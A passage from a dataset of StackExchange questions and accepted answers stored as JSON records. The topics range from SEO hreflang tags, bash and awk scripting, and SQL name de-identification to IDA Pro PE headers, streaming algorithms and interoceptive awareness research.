(*T) rather than indices, which would also likely speed access."  } 
{  "id": "_webmaster.105041"  , "question": "A lot of city domains are now available. Is it worth (or even good practice) to target markets in various cities in this way?<link rel=alternate href=https://mydomain.com.au hreflang=en-au/><link rel=alternate href=https://mydomain.sydney hreflang=en-au/><link rel=alternate href=https://mydomain.melbourne hreflang=en-au/>Is having multiple hreflang tags with the same language a good idea?"  , "title": "Using hreflang tags to target cities rather than countries"  , "tags": "seo;html;language;hreflang"  } 
{  "id": "_webapps.69774"  , "question": "I am using Yet Another Mail Merge with Google Spreadsheet and Gmail and it works just as expected. But I am also trying to add a google drawing into the email body, so I would have more flexibility to have text areas (I have not found a way to enter a text area in gmail).The email merge works out of email draft. So I am trying to have a text area (where I can add the spreadsheet fields) on top of a image then export to email. Once I copy to web clipboard and try to paste onto email body, the text box slides down the picture. And it looses some details. Any suggestion? In summary: have a text box on top of image inside the body of email. Text box to have  Spreadsheet details. Everything works OK in the google drawing, but it does not seem to be able to export to gmail.Thank you for any suggestion. "  , "title": "Insert Google Drawing into Gmail body"  , "tags": "gmail;google drawing;mail merge"  , "accepted_answer": "It's possible using a table inside the google drawing. Everything will stay more or less in the position you want, with certain limitations. Drawing is not very versatile, but you can get your job doneCopy it into a draft message and from there you can do the mail merge that will seem to be part of the drawing. Seems simple, but it took some time... "  } 
{  "id": "_unix.220207"  , "question": "I have a script that I'm trying to use to make handing applications easier. Right now it gets the window id of an application name (the first parameter) and checks if the window_id exists or not. If it doesn't exist, it runs the command to open that applications (second parameter. If it does exist, it uses wmctrl to get the window by window_id and move it to the front. My plan is to add this script to shortcuts for each application I use often. However, I want to add the ability to cycle through all the windows open for an application, instead of just being able to raise the last one open. Any recommendations on how to do this in bash? Would I need to set a global system variable? Though it's obvious, I'm fairly new to bash. Here's the script for windowctl, the place I want to extend is the get_window_id function.#!/bin/bash#command [app_name] [app_command]function get_window_id() {    #this is the part I want to extend    window_id=$(wmctrl -l | grep -i $1 | tail -1 | cut -f1 -d )}function open_app() {    exec $2  }get_window_id $1if [ -z $window_id ]    then         open_app $1 $2    else        wmctrl -i -a $window_id fiAn example would be adding the command windowctl sublime subl3 to Alt+S."  , "title": "Cycle between open windows with wmctrl"  , "tags": "shell script;x11;window management"  } 
{  "id": "_scicomp.10402"  , "question": "I have a question about matrix diagonalization. I don't know if this is the right forum... Is there a way to compute the smallest real eigenvalue (and eigenvector if possible) of a general real nxn matrix? (with n small say n=5). Is there a routine in fortran 90 that does this? And, more generally, what is the situation on numerical computing all existing eigenvalues (even for non diagonalizable matrices)? Edit: after Gerry's comment, I believe it's better to consider n as an odd number. In this case a real eigenvalue always exists because a polynomial of odd order with realcoefficients, the characteristic polynomial, has always a zero and so the smallest real eigenvalue is well defined."  , "title": "Real eigenvalues finding"  , "tags": "matrix;eigenvalues"  } 
{  "id": "_unix.38050"  , "question": "For linux machines I can use: # vi ~/.bashrc # red/green terminal colors regarding exit codeexport PROMPT_COMMAND='PS1=`if [[ \\$? = 0 ]];then echo \\\\[\\\\033[0;32m\\\\];else echo \\\\[\\\\033[0;31m\\\\];fi`[\\u@\\h \\w]\\[\\e[m\\] 'export PS1to get green terminal when exit code is 0, and get red prompt when exit code is not 0. How can I do this under OpenBSD? (the default ksh)(I was trying to do it, but with no luck - using ssh to connect to the OpenBSD machine from my notebook - ubuntu/gnome-terminal. )"  , "title": "How to get green/red terminals under OpenBSD?"  , "tags": "prompt;openbsd;ksh"  , "accepted_answer": "The problem is only bash has PROMPT_COMMAND.  Try this instead:PS1='\\[$(if (($?)); then tput setaf 1; else tput setaf 2; fi)\\]'\\'[\\u@\\h \\w]\\['$(tput sgr0)'\\]' Caveat: I haven't tested this on ksh, but it avoids PROMPT_COMMAND and works in bash. tput uses your system's terminfo databases.  This is generally more portable and maintainable than hard-coding escape sequences, provided terminfo is installed correctly."  } 
{  "id": "_unix.106846"  , "question": "We want to publish an electronic magazine about to free software applications such as Gimp, Inkscape, GNU/Linux and so on. We need a magazine or book design application similar to InDesign of the Windows world. We found Scribus, but our language is written right-to-left and Scribus doesn't support RTL. What can we use?"  , "title": "Magazine publishing software with RTL support"  , "tags": "software rec;right to left"  } 
{  "id": "_cstheory.11481"  , "question": "I have read a stream computation paper in STOC07(Paul Beame, T. S. Jayram, and Atri Rudra. Lower bounds for randomized read/write stream algorithms.) and FOCS08Paul Beame and Trinh Huynh. On the value of multiple read/write streams for approximating frequency moments).I am interested in this topic with design of algorithms and analysis of limitations.I want a list of natural counting functions, which stream algorithm theorists often consider like NPcomplete problems list by Garey and Johnson .Is there such a list ? "  , "title": "Functions and Counting Problems in Streaming Computation"  , "tags": "ds.algorithms;lower bounds;survey;data streams;streaming"  , "accepted_answer": "I don't know if there's a list of canonical hard problems, but there is a list of open problems in streaming as maintained by Andrew McGregor. This is not limited to the specific models you're referring to  though. "  } 
{  "id": "_codereview.147937"  , "question": "I have a table with over 1,000,000 records. I need to replace any names in the text fields with aliases to help de-identify the data. For this example, let's assume the table is TemporaryTest and has two fields: Id (the key field) and IndexedXML (the text field).I have a second table, AppellationSubstitution, that has the following columns: TextEntry (a name needing replacement), Length (length of TextEntry), Replacement (the replacement name, which may be of a different length). That table has about 110,000 rows.The first step I use is (the regex matches words in the text field -- it looks a bit odd because of some odd characters that show up in this database):SELECT id,        matchindex,        matchlength,        replacement  FROM   TemporaryTest        CROSS APPLYmaster.dbo.Regexmatches('([Xx]-)?[\\w-[0-9_]]{2,}(-[\\w-[0-9_]]{2,})?(''[\\w-[0-9_]])?', [IndexedXML], master.dbo.Regexoptionenumeration(0, 0, 1, 1, 0, 0, 0, 0, 0))        INNER JOIN dbo.appellationsubstitution        ON match = textentry       ORDER BY Id, MatchIndex DESC;--if replace in forward order, insertion point gets moved This produces a table with over 100,000 rows, which the following shows a few lines:Id matchindex matchlength replacement99309 122 5 Demarcus108639 106 5 Demarcus109809 84 6 Rehbein110373 89 7 Reginald111156 105 5 Demarcus112452 129 6 Thie112896 113 6 Diberardino112896 92 6 Diberardino113503 119 3 RubinThe full procedure I'm currently trying out is:SET NOCOUNT ON;SET XACT_ABORT ON;BEGIN TRANSACTION;DECLARE ReplaceCursor CURSOR LOCAL FORSELECT id,        matchindex,        matchlength,        replacementFROM   TemporaryTest        CROSS APPLYmaster.dbo.Regexmatches('([Xx]-)?[\\w-[0-9_]]{2,}(-[\\w-[0-9_]]{2,})?(''[\\w-[0-9_]])?', [IndexedXML], master.dbo.Regexoptionenumeration(0, 0, 1, 1, 0, 0, 0, 0, 0))        INNER JOIN dbo.appellationsubstitution        ON match = textentry       ORDER BY Id, MatchIndex DESC;--if replace in forward order, insertion point gets moved DECLARE @Rid int, @Rmi AS int, @Rml AS int, @Rrep AS nvarchar(255);OPEN ReplaceCursor;FETCH NEXT FROM ReplaceCursor INTO @Rid, @Rmi, @Rml, @Rrep;WHILE @@FETCH_STATUS = 0BEGIN    UPDATE TemporaryTest    Set IndexedXML =  STUFF([IndexedXML],@Rmi+1,@Rml,@Rrep)         WHERE Id = @Rid;    FETCH NEXT FROM ReplaceCursor INTO @Rid, @Rmi, @Rml, @Rrep;END;CLOSE ReplaceCursor;DEALLOCATE ReplaceCursor;COMMIT TRANSACTIONThis works, but takes a very long time to run (over an hour and not yet completed), and IndexedXML is one of the smallest text fields I have in the production database.I resorted to using a cursor as I didn't know any other way to manage sequential STUFF calls on the same cell, where subsequent STUFF calls use the result of the previous ones.Am I taking the right course with this, or is there a faster/cleaner way of achieving this?"  , "title": "Replacing names in text fields with aliases to help de-identify data"  , "tags": "sql;sql server;t sql"  } 
{  "id": "_webmaster.18110"  , "question": "Possible Duplicate:How to choose between web hosting and cloud hosting? What the difference between a shared host and a cloud server.I have a url http://domain.com and with a shared host, easly I have FTP details where I can upload everything on the server. Is is the same with cloud server or is it the same as amazon Cloudfront where you haven't got FTP details etc? What are the differences in terms of speed?Thanks alot"  , "title": "Shared Host VS Cloud server"  , "tags": "cloud hosting"  } 
{  "id": "_unix.138422"  , "question": "I have a problem reaching my raspberry pi from outside of my LAN and I don't remember having changed anything. It was working previously, but I don't know what changed.I've installed owncloud with nginx and mysql over HTTPS. If I try to access the server using it's local IP address everything works fine. Using the official URL with no-ip.biz spins for a while but ends in a blank page without any error. Do you have any ideas how to solve the issue?I recently updated the system but can't remember what might have changed since then. "  , "title": "Raspberry pi running owncloud not reachable using no-ip URL"  , "tags": "debian;raspberry pi;nginx"  , "accepted_answer": "Could it be that your no-ip client isn't running? The installation instructions says Read the README file in the no-ip-2.1.9 folder for instructions on how to make the client run at startup.If your Raspberry have been rebooted and doesn't start automatically, you would be able to access ownCloud on your local network address, but not through the no-ip.com address.Another possibility: When you sign up for a free account at no-ip.com, the term says that you have to reactivate your account every 30 days. This wouldn't be a unix issue, but could be the answer to your question?"  } 
{  "id": "_unix.2203"  , "question": "Is it possible to randomise or shred memory of a particular application just after its life ends, or better, whenever it deallocates some memory?A command-line utility like this would be perfect:shred-memory [options]  [{params to the application...}]"  , "title": "Randomise or shred memory of an application"  , "tags": "linux;bash;security;password;memory"  } 
{  "id": "_webmaster.45316"  , "question": "My sitemap is huge (200k+ articles), so I want to implement pagination of the sitemap itself.My question is what parameter do most search engines look for in a sitemap pagination? page=... or maybe p=...?I know about the sitemap index, but it would be a bit of an overhead to create that just now."  , "title": "Paginating sitemaps"  , "tags": "seo;sitemap"  , "accepted_answer": "You can use various sitemaps to divide yours.In this article, it mentions:If you do provide multiple Sitemaps, you should then list each Sitemap  file in a Sitemap index file. Sitemap index files may not list more  than 50,000 Sitemaps and must be no larger than 10MB (10,485,760  bytes) and can be compressed. You can have more than one Sitemap index  file. The XML format of a Sitemap index file is very similar to the  XML format of a Sitemap file.You can also submit various sitemaps to Google."  } 
{  "id": "_unix.346084"  , "question": "I think at some point I messed up my .bash_profiles and I have multiple now. I am trying to customize my shell but I am not sure which .bash_profile to use, if any. I thought .bashrc file was more often used?    I am running OSX - El Capitanls -la | moretotal 480-rw-------    1 Matthew  staff   6404 Feb 16 23:57 .bash_history-rw-r--r--    1 Matthew  staff    719 Jan 19 20:18 .bash_profile-rw-r--r--    1 Matthew  staff    335 Oct  7 12:35 .bash_profile.macports-saved_2017-01-19_at_20:18:05-rw-r--r--    1 Matthew  staff    167 Jul 16  2015 .bash_profile.pysavedrwxr-xr-x  208 Matthew  staff   7072 Feb 18 19:41 .bash_sessions"  , "title": "I have multiple copies of .bash_profile, which one is actually being used? (if any)"  , "tags": "shell;bashrc"  } 
{  "id": "_softwareengineering.314120"  , "question": "Question:Are there any techniques for communicating with methods of other components but still keep a pure Observer pattern ?If yes are they indicated/regularly-used or am I just overcomplicating stuff?A practical exampleSuppose I have an architecture with the following characteristics:System is a Word Processor appMany components, each with it's own purpose, e.g KeypressDetector, Printer, DocumentRenderer.Components modify/observe a single model, the DocumentThe components thus communicate via this model observation/modification. The components don't know about each other in any other way.If I'm not mistaken this is what the Observer Pattern is all about.So here's one case where there's a problem:For component Printer to do it's job it needs some output from component PagePreparator.This is just one edge-case where component PagePreparator can't continuously update the model that is shared between the components because it involves heavy-computation. This involves just a single aspect of PagePreparator, e.g PagePreparator.prepare() // takes a long time to run.So that's one case where It looks to me that I need to break away from this pure Observer setup and just expose the method of PagePreparator to Printer directly and call it explicitly from Printer. This will couple them explicitly together though.Are there any techniques for keeping this Observer pattern exclusively and still be able to perform this kind of invocations?Possible solutions:When Printer needs output it sets a flag on the model Document, e.g updatePages which is picked up by PagePreparator's observers. PagePreparator then sets the output on the model Document which is picked up by Printer's observer which proceeds to do it's job.Simply breaking the pattern and just expose PagePreparator's method, pagePreparator.prepare() to Printer which can then explicitly call it.Dispatching an event from Printer which is picked up by PagePreparator which proceeds to set the value on the model Document, for Printer to pick it up."  , "title": "Invoking Methods of another component in Observer Pattern"  , "tags": "design patterns"  , "accepted_answer": "The third option seems cleanest to me.   I frequently find myself making use of the Event Aggregator Pattern with applications containing isolated/disconnected modules communicating with each other via messages    (Another good page Here).   The pattern itself has become common at least in .NET with a lot of examples of 'generic' Event Aggregators around which should be able to translate into most languages.The benefit of using messages to communicate between modules is that those modules remain decoupled; the cost however, is adding a layer of indirection."  } 
{  "id": "_unix.364036"  , "question": "I'm behind a very slow Internet connection most of the time.  OpenSuSE TumbleWeed occasionally likes to go suck down all my bandwidth at really inopportune times to check for updates.  I've got it set at the max time, which is a month.  I've previously pursued trying to turn off the updater completely, but that has been a losing battle.There's also an option to have it not try to update when on a mobile connection.  My super slow primary Internet seems like a good use of that...  How can I tag my ethernet as mobile to keep the system from trying to update that way?  That would allow the updates to still try and run when I'm on the road and someplace with fast wifi."  , "title": "Setting ethernet as mobile?"  , "tags": "opensuse;network interface"  } 
{  "id": "_cs.6443"  , "question": "This is a beginners question. I and reading the book Introduction to Computer Theory by Daniel Cohen. But I end up with confusion regarding simplification of regular expressions and finite automata. I want to create an FA for the regular expression$\\qquad \\displaystyle (a+b)^* (ab+ba)^+a^+\\;.$My first question is that how we can simplify this expression? Can we we write the middle part as $(ab+ba)(ab+ba)^*$? will this simplify the expression?My second question is whether the automaton given below is equivalent to this regular expression? If not, what is the mistake?This is not a homework but i want to learn this basic example. And please bear me as a beginner."  , "title": "Simplification of regular expression and conversion into finite automata"  , "tags": "formal languages;automata;finite automata;regular expressions"  , "accepted_answer": "At the point of writing, your NFA is still a bit off. One version of a correct answer looks like this:So this NFA is design in an ad hoc manner, but there's still some basic organisation to it. You can see that there's three basic bits, the $a,b$ loop on the start state, a forced $ab|ba$, followed by two 2-step loops, then a forced $a$ to the final state, with an $a$ loop. The first loop takes care of the $(a+b)^{\\ast}$, the next little clump does the $(ab+ba)^{+}$, then the tail end does the $a^{+}$.The key thing to practice when doing things this way is breaking the RE down into a sequence of smaller REs, that you then stick together. This is essentially a 'casual' version of the systematic method.The systematic way is simple, but a bit fiddly. It's a relatively long explanation as to how to do it systematically, and as you haven't reached that bit in your reading yet, I'll refrain from working through the details here, however just as a quick reference, this explanation is pretty thorough and reasonably well explained."  } 
{  "id": "_softwareengineering.231013"  , "question": "For decimal numbers, obviously I want to localise everything. Whatever programming language I'm working in, there will tend to be tools for this, so it's also easy to do.In my application, I happen to be formatting numbers as hexadecimal quite often. This leads me to wonder:Are there locales which group hexadecimal numbers into different groupings to me?Are there locales which use a separator other than space for the groupings?Are A-F used as the extra six digits even in locales which don't use a Latin script?I guess in general - do I have to internationalise this, or does everyone in the world look at the same hexadecimal value and intrinsically understand it the same way?"  , "title": "Do I have to internationalise the display of hexadecimal values?"  , "tags": "internationalization"  } 
{  "id": "_unix.55338"  , "question": "I've loaded from the USB stick with Debian Live CD on it to fix the MBR after a Windows installation. Suddenly I've found that fdisk -l shows nothing but the live USB itself. What would it mean? I've used this image: http://cdimage.debian.org/debian-cd/current-live/i386/iso-hybrid/debian-live-6.0.5-i386-xfce-desktop.iso"  , "title": "Debian doesn't detect disks from Live CD"  , "tags": "debian;live usb;livecd"  } 
{  "id": "_codereview.164719"  , "question": "This is just a little palindromic game that searches all palindromic numbers in ur random generated list. Feel free to give me some advice.import randomnumbers = []total = []dice = random.randint(1000, 50000)while len(numbers) < dice:        x = random.randint(100000, 1000000)        numbers.append(x)def palindrome(n):    check_palin = []    for i in n[::-1]:        i = str(i)        check_palin.append(i)        for k in check_palin:            k = k[::-1]            check_palin.clear()            if k == i:                total.append(k)    print(total)    numbers.clear()palindrome(numbers)length = len(total)if length > 58:    print(\\nHolly Shit!!! You broke my record!!! with %d. % (length))elif length == 58:    print(\\nWow, Nice!!! %d is my highest Palindromic number (too).\\nThat's a draw % (length))"  , "title": "Palindromic game in Python"  , "tags": "python;beginner;random;palindrome"  } 
{  "id": "_reverseengineering.10847"  , "question": "I am thinking on a decompilation method which uses the runtime behavior of the binary executable to extract usable compilation data. Analysing the runtime behavior (i.e. trapping after every cpu instruction and check what it does), we could get a lot of additional infos, like:we could differentiate between the static constant data (.text) and the binary asmadditional information, what type of data is in which register or global / local variable (pointers, floats and integers)where the cpu instructions are startingfrom the stack behavior we could get highly useful heuristics, where are the functions / internal functions and how long / what type of parameters they have.On my opinion, maybe even the holy grail, the recompilable source code wouldn't be so far away.Is it possible? Does any tool / software already exist which is capable to do this?"  , "title": "Decompile binary executable into c / asm code by emulation, is it possible?"  , "tags": "disassembly;decompilation;tracing"  , "accepted_answer": "This problem is linked to the halting problem on a Turing machine (which is known to be undecidable). Approaching decompilation through emulation suppose that you have to run through all the branches of the software at least once, and reaching all possible program points cannot be guaranteed if you have to go through a (potentially) infinite loop.Yet, this is a theoretical problem that you unlikely find in real life (except if it has been planted here intentionally to prevent the full exploration through emulation).But, in a more practical perspective, exploring all paths can be done only if you can easily run through all the path at runtime, which is not the case when the user is required to solve a challenge (possibly on-line) such as giving a password whose hash is stored in the program or prove that he posses a private key by signing a message and returning it to the software."  } 
{  "id": "_cogsci.9803"  , "question": "For those unfamiliar, interoceptive awareness/accuracy involves awareness of, and sensitivity to, internal physiological sensations (My heart is beating fast).  Interoceptive information is fundamental to how we conceptualize our affective experiences. For instance, people with high interoceptive sensitivity may be more likely to emphasize information about high/low arousal in their emotional self-reports (Barrett, Quigley, Bliss-Moreau, & Aronson, 2004).  Sensitivity and awareness of interoceptive information is fundamental to many other forms of cognition as well.My question is whether we can improve people's interceptive awareness/accuracy with some sort of intervention (e.g., biofeedback) and whether this improvement might predict other adaptive outcomes. "  , "title": "Is it possible to improve interoceptive awareness/accuracy? If so, how?"  , "tags": "emotion;interoception;biofeedback"  , "accepted_answer": "Interoceptive awareness and accuracyInteroceptive awareness and accuracy are sometimes used interchangeably, but can also refer to two different things: awareness to the tendency to attend to interoception measured by self-report, and accuracy to the actual accuracy with which one does so (Chentsova-Dutton and Dzokoto, 2014). For example, a cross-cultural study involving West African and European-American found that West Africans showed higher levels of interoceptive awareness, but lower levels of interoceptive accuracy than European Americans (Ceunen, Van Diest and Vlaeyen, 2013).Heartbeat perception trainingThere have been some recent attempts to produce improvements in interoceptive awareness and accuracy. Schaefer, Egloff, Gerlach and Witthft (2014) gave 29 patients with somatoform disorders heartbeat perception training, and reported that the training selectively improved interoceptive accuracy in patients with low health anxiety, as well as improvements in symptoms.MindfulnessSilverstein, Brown, Roth and Britton (2011) also found that mindfulness training produced a statistically significant benefit in speed of interoceptive awareness, and that this improvement was associated with improvements in attentional, self-judgmental, and clinical factors of female sexual dysfunction. They reported the following about increased interoceptive awareness:Women who participated in the meditation training became significantly faster at registering their physiological responses (interoceptive awareness) to sexual stimuli compared with active controls (F(1,28) = 5.45, p = .03, $_{p}^2$ = 0.15).Another recent study of experienced meditation practitioners did not report a benefit of meditation on either interoceptive awareness or accuracy, however (Khalsa et al., 2008). Additionally, I am generally skeptical of the benefits of mindfulness on cognitive ability. See Jeromy's answer about the general effect of mindfulness on cognition. ReferencesCeunen, E., Van Diest, I., & Vlaeyen, J. (2013). Accuracy and awareness of perception: related, yet distinct (commentary on Herbert et al., 2012). Biological psychology, 92(2), 423-427.Chentsova-Dutton, Y. E., & Dzokoto, V. (2014). Listen to your heart: The cultural shaping of interoceptive awareness and accuracy. Emotion, 14(4), 666.Khalsa, S. S., Rudrauf, D., Damasio, A. R., Davidson, R. J., Lutz, A., & Tranel, D. (2008). Interoceptive awareness in experienced meditators. Psychophysiology, 45(4), 671-677.Schaefer, M., Egloff, B., Gerlach, A. L., & Witthft, M. (2014). Improving heartbeat perception in patients with medically unexplained symptoms reduces symptom distress. Biological psychology, 101, 69-76.Silverstein, R. G., Brown, A. C. H., Roth, H. D., & Britton, W. B. (2011). Effects of mindfulness training on body awareness to sexual stimuli: implications for female sexual dysfunction. Psychosomatic medicine, 73(9), 817."  } 
{  "id": "_cogsci.5307"  , "question": "What is the origin of non-incremental, revolutionary intuition and intelligence?For example, a human mind like Albert Einstein's can come up with revolutionary ideas and theories that correctly adhere to the law of physics. On the other hand, another mind can't even understand this theory, let alone create or come up with one.Where does this initial intelligence and intuition (accurately proven) come from? Or what are the means by which modern humans achieve origins of intelligent intuition that adhere to science or nature? (Not talking about prophecy.)            "  , "title": "How does cognitive science explain the origins of intuition and intelligence, that accurately describes the laws of nature?"  , "tags": "intelligence;philosophy of mind;creativity;intuition"  , "accepted_answer": "A couple of other interrelated perspectives are presented below.  The first perspective comes from the article Artificial Intelligence, Logic of Discovery and Scientific Realism (Alai), where they state, using scientific discovery as an example (as per the example in the question), thatif the process of   discovery is rational, mustnt it therefore follow rational criteria and rules, hence a   logic? On the other hand, it is well known that chance, luck, and insight often play an   important role in discovery.Effectively, almost like a case of someone 'tripping over' the final piece of their theorem.  The author goes further, contending that if their were a rational set of steps, thusif   discovery were just a matter of rule following, why couldnt anyone learn the necessary rules and become a great scientist? Or why couldnt the scientists themselves just follow   the logic of discovery and program in advance new discoveries, and rapidly achieve   such results as a cure for cancer, or the cold fusion of atom, which while sorely needed   still elude the efforts of researchers?Meaning, according to this article's perspective, that luck, chance and insight play a major role.The final factor, insight, is alluded to in the website Einstein's Pathway to Special Relativity (Norton), taking the example scientist from the question, Albert Einstein and how he developed, for example, the Theory of Special Relativity, which started whenhe began to think about ether, electricity, magnetism and motion.Essentially, he had insight by  pondering these developments that led Einstein to discover the  special theory of relativity in 1905. A key point made is that The discovery was not momentary.This is crucial, the ideas didn't just 'pop' into his head, the theory was the outcome of having learned and developed an insight in the background information, latest developments in relevant disciplines and of course, in Einstein's own reckoning, seven and  more years of work.As an independent researcher, (and I am not comparing myself to Albert Einstein), the discoveries that I have found, have had successfully peer reviewed and have been published come from having some specific insight, through background reading, training, education etc, to topics and skills required relevant to the discovery, as well as a lot of work to bring these insights together with new observations to make a discovery."  } 
{  "id": "_cogsci.1980"  , "question": "Background: I vaguely remember reading in a book (I think it may have been Nudge - Thaler and Sunstein) about the advantages of using graphics for visualising data, such as a smiley face, or traffic lights, to communicate a message in an easily interpreted, visual language. To what extent do graphics such as smiley faces and traffic lights in visualisations facilitate ease of interpretation?What is the cause of this ease of interpretation?What research has studied this phenomena?Initial thoughts: I imagine that the ease of interpretation is due to these items being purely visual that we quickly recognise them, and they can make complicated, unfamiliar information (for instance health results) that much easier to comprehend. Is that an accurate summary? If it's any further help I'm looking into this specifically for use in the communication of health results. So for example if you have a 20% risk of developing a disease, a good way to illustrate this could be 100 smiley faces - of which 20 are :( and 80 are :) "  , "title": "How do graphic objects in data visualisation facilitate ease of interpretation?"  , "tags": "cognitive psychology;software;health psychology;visualization"  } 
{  "id": "_softwareengineering.293439"  , "question": "On the software project I'm working there are 4 teams of 6 people. The project itself is a moderately complex distributed system, but the current user stories are mostly about implementing CRUD operations and such.My problem is that we are working in pairs non-stop. I think that this brute force approach to pair programming is wasteful since a lot of tasks (simple tasks, bugfixes) do not need two people's combined effort and I never reach flow ever since I'm working here.My question is about pair programming. When is it appropriate to use it and is it justifiable to do it all the time?There are some situations which I know from my previous experience likepair progrmaming with a new colleague so he gets up to speed quicklypair programming with a junior developer so he understands new concepts more quickly and thoroughlypair programming to effectively share domain knowledgebut I don't see why pair programming can be useful if used in all possible situations. What makes it even worse is that pairs often rotated mid-sprint which slows down development even more."  , "title": "When is it justifiable to use pair programming and when is it not?"  , "tags": "java;pair programming;extreme programming"  } 
{  "id": "_webapps.62949"  , "question": "I have noticed that when I tweet something with a hashtag (ex. #WorldCup2014) my tweet doesn't show in the feed or timeline of the hashtag although I have made my account public but still nothing.Can anyone help?"  , "title": "Tweets are not showing in hashtag streams?"  , "tags": "twitter"  } 
{  "id": "_unix.5035"  , "question": "This one got closed:https://unix.stackexchange.com/questions/5030/freebsd-or-linux-or-something-elseBut I have a sincere question here. I want to know from the pros what is better for a newbie to start working on. I want to learn/contribute. If not the exact answer, please provide some rationale. "  , "title": "where to start open-source work?"  , "tags": "linux;freebsd;opensource projects"  } 
{  "id": "_cstheory.24939"  , "question": "When I teach tail bounds, I use the usual progression: If your r.v is positive, you can apply Markov's inequalityIf you have independence and also bounded variance, you can apply Chebyshev's inequalityIf each independent r.v also has all moments bounded, then you can use a Chernoff bound. After this things get a little less clean. For exampleIf your variables have zero mean, then a Bernstein inequality is more convenientIf all you know is that the combining function is Lipschitz, then there's a generalized McDiarmid-style inequalityif you have weak dependence then there are Siegel-style bounds, (and if you have negative dependence, then Jansson's inequality might be your friend)Is there a reference anywhere to a convenient flowchart or decision tree describing how to choose the right tail bound, (or even when you have to dive into a sea of Talagrand) ? I'm asking partly so that I have a reference, partly so that I can point it to my students, and partly because if I'm sufficiently annoyed and there isn't one, I might try to make one myself. "  , "title": "A flowchart for concentration bounds"  , "tags": "reference request;pr.probability;randomized algorithms"  , "accepted_answer": "Fan Chung and Linyuan Lu. Concentration inequalities and martingale inequalities: a surveyavailable athttp://projecteuclid.org/euclid.im/1175266369 or at Fan Chung Graham's web page."  } 
{  "id": "_unix.204675"  , "question": "I'm looking to conditionally select two columns from the third line of a file based on the first column of the first line of the file.Here is the file format:v1shortdescvalue1 value2 value3 value4 ...Using this example, I'd want value2 and value3 if v1, otherwise, I'd like value1 and value4. I know how to get the line and column using something like awk 'FNR ==1 {print $1} but how do I use the if clause?The code that is not working for me looks something like this:awk '{if(NR == 1 $1==v1) {FNR==3 print $2 \\t $3;} else {FNR==3 print $1 \\t $4;}}'"  , "title": "Use awk to get two specific columns from third line of file based on value in first line"  , "tags": "awk"  , "accepted_answer": "You can try this one:awk 'NR == 1 { if ($1 == v1) { p = 1; } } NR == 3 { if (p) { print $2 \\t $3; } else { print $1 \\t $4; } }' file"  } 
{  "id": "_softwareengineering.116162"  , "question": "We're considering teaching some employees who have either zero or general hobbyist level programming experience to take workload off me.We use Python/Django which has some of the friendliest documentation around and a breeze to learn. I'm currently a one man IT department for my company and I don't have enough hours to develop everything the company needs. We are not a software company, but it helps to have in house IT to automate tasks, develop customer service features, analyze data, etc.How do you slowly integrate rookies working on your codebase? Say you have an intern - what do they do? I'm completely reluctant to let them design or develop core code as we'll be dealing with their mistakes / strange design patterns for years. As the primary developer, I'll be the one who has to work around their code. My thought was to have rookies only modify existing code, never building core features. I can offload work to them with simple tasks after I build the feature itself.We'd like our employees to learn / find value in the company, and we generally have people 'move up the ranks'. Is it standard practice to teach people with general/hobbyist level programming? How does the moving up the ranks in a software company work for junior level programmers? When do they start working on core code?I'm trying to decide if it's going to cause more damage than help, and or if there's a way we can use their help without potentially risking core site code (isolated environments?)."  , "title": "How to include rookie developers into your project?"  , "tags": "team;business"  } 
{  "id": "_reverseengineering.8128"  , "question": "I noticed that despite the imagebase for win32 executables be 0x400000, Ida Pro only starts the analysis at 0x401000. What is before that and how can I change IDA's settings to start the analysis at the imagebase? Thank you."  , "title": "How can I make IDA start the analysis at imagebase?"  , "tags": "ida;memory"  , "accepted_answer": "PE executables start with a header block that consists of a little DOS exe stub (with its own little header), a structure called IMAGE_NT_HEADERS, and a section table. A normal PE has no 32-bit/64-bit executable code there, so IDA doesn't load the header block unless you check manual load.Relevant resources:Microsoft's PE COFF specification (currently at version 8.3)Matt Pietrek's classic Peering Inside the PE: A Tour of the Win32 Portable Executable File Formatits sequel An In-Depth Look into the Win32 Portable Executable File FormatReversingLabs' Undocumented PECOFF"  } 
{  "id": "_codereview.32449"  , "question": "I have a file with just 3500 lines like these:filecontent= 13P397;Fotostuff;t;IBM;IBM lalala 123|IBM lalala 1234;28.000 things;;IBMlalala123|IBMlalala1234Then I want to grab every line from the filecontent that matches a certain string (with python 2.7):this_item= IBMlalala123matchingitems =  re.findall(.*?;.*?;.*?;.*?;.*?;.*?;.*?+this_item,filecontent)It needs 17 seconds for each findall. I need to search 4000 times in these 3500 lines.  It takes forever.  Any idea how to speed it up?"  , "title": "Regex to parse semicolon-delimited fields is too slow"  , "tags": "python;performance;regex;csv;python 2.7"  , "accepted_answer": ".*?;.*? will cause catastrophic backtracking. See this post on more details on the problem: http://www.regular-expressions.info/catastrophic.htmlTo resolve the performance issues, remove .*?; and replace it with [^;]*;, that should be much faster."  } 
{  "id": "_unix.134630"  , "question": "I have a custom hardware, i.mx6q  based board, running a custom stripped version of Debian, the usual Linux tools to make life easy are not available. Can I read and write to i2c directly with root access to /sys/bus/i2c/devices/[device] using standard tools such as echo, etc?"  , "title": "Direct i2c hardware access"  , "tags": "debian;hardware"  , "accepted_answer": "According to this Linux Journal article, titled: I2C Drivers, Part II:All I2C chip drivers export the different sensor values through sysfs files within the I2C chip device directory. These filenames are standardized, along with the units in which the values are expressed, and are documented within the kernel tree in the file Documentation/i2c/sysfs-interface (Table 1).Table 1. Sensor Values Exported through sysfs Filestemp_max[1-3]   Temperature max value. Fixed point value in form XXXXX and should be divided by 1,000 to get degrees Celsius. Read/Write value.temp_min[1-3]   Temperature min or hysteresis value. Fixed point value in form XXXXX and should be divided by 1,000 to get degrees Celsius. This is preferably a hysteresis value, reported as an absolute temperature, not a delta from the max value. Read/Write value.temp_input[1-3] Temperature input value. Read-only value.As the information in Table 1 shows, there is only one value per file. All files are readable and some can be written to by users with the proper privileges.So it would appear that somethings under /sys/bus/i2c/devices/[device] can be written to using standard tools such as echo, but others may not.ReferencesXilinx - Connecting the Aardvark I2C/SPI Activity Board To The ML507"  } 
